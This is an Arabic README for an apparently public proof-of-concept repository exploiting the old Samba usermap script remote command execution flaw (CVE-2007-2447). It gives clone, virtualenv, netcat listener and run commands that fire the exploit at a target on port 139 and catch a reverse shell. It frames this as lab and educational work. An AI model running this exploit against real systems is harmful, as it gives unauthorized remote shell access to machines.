
إثبات مفهوم لاستغلال تنفيذ الأوامر عن بُعد في سكربت usermap الخاص بـ Samba (CVE-2007-2447)، مع إمكانية إنشاء قشرة عكسية للاختبار المخبري الخاضع للتحكم والبحث الأمني.
PoC: سكربت "usermap script" في Samba لتنفيذ أوامر عن بُعد (ثغرة تاريخية). يحتوي هذا المستودع على سكربت صغير لإثبات المفهوم لأغراض البحث والمراجعة التعليمية. السكربت الأساسي هو usermap_script_Command_Execution.py.
المرجع: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
استنسخ المستودع وشغّل السكربت داخل مختبر مُتحكم به. يستخدم الـ PoC اختياريًا شلًا عكسيًا (reverse shell) يعود إلى LHOST:LPORT — ابدأ المستمع (listener) قبل تشغيل السكربت وتأكد من تثبيت المتطلبات (انظر التثبيت).
git clone https://github.com/abdulsaabir/CVE-2007-2447.git
cd CVE-2007-2447
# ensure dependencies are installed (see Installation), then start a listener on your LHOST:LPORT
# example using netcat with a placeholder port:
nc -lnvp <LPORT>
# in another terminal, run the PoC against the lab target:
python3 usermap_script_Command_Execution.py <RHOST> 139 <LHOST> <LPORT>
المعلمات
RHOST — عنوان IP أو اسم المضيف الهدفRPORT — منفذ TCP الهدف (عادةً 139)LHOST — عنوان IP للمستمع لاتصال عكسيLPORT — منفذ المستمعموصى به: أنشئ بيئة Python افتراضية معزولة وقم بتثبيت المتطلبات من requirements.txt قبل تشغيل السكربت.
python3 -m venv exploit_env
source exploit_env/bin/activate
pip install -r requirements.txt
تم توفير هذا الكود لأغراض البحث الأمني المشروع والتعليم والاختبار الدفاعي فقط. لا تشغّل هذا السكربت ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره. قد يؤدي سوء الاستخدام إلى عواقب قانونية؛ مالك المستودع غير مسؤول عن سوء الاستخدام.
فضّل دائمًا مراجعة الكود الساكنة (static code review) والاختبار في مختبر مُتحكم به (لقطات VM، وشبكات معزولة، والتقاط الحزم) عند تحليل كود يحتمل أن يكون خطيرًا.
إذا كنت ترغب في شرح مُعلّق غير قابل للتنفيذ أو ملف requirements.txt، افتح issue أو اطلبه هنا.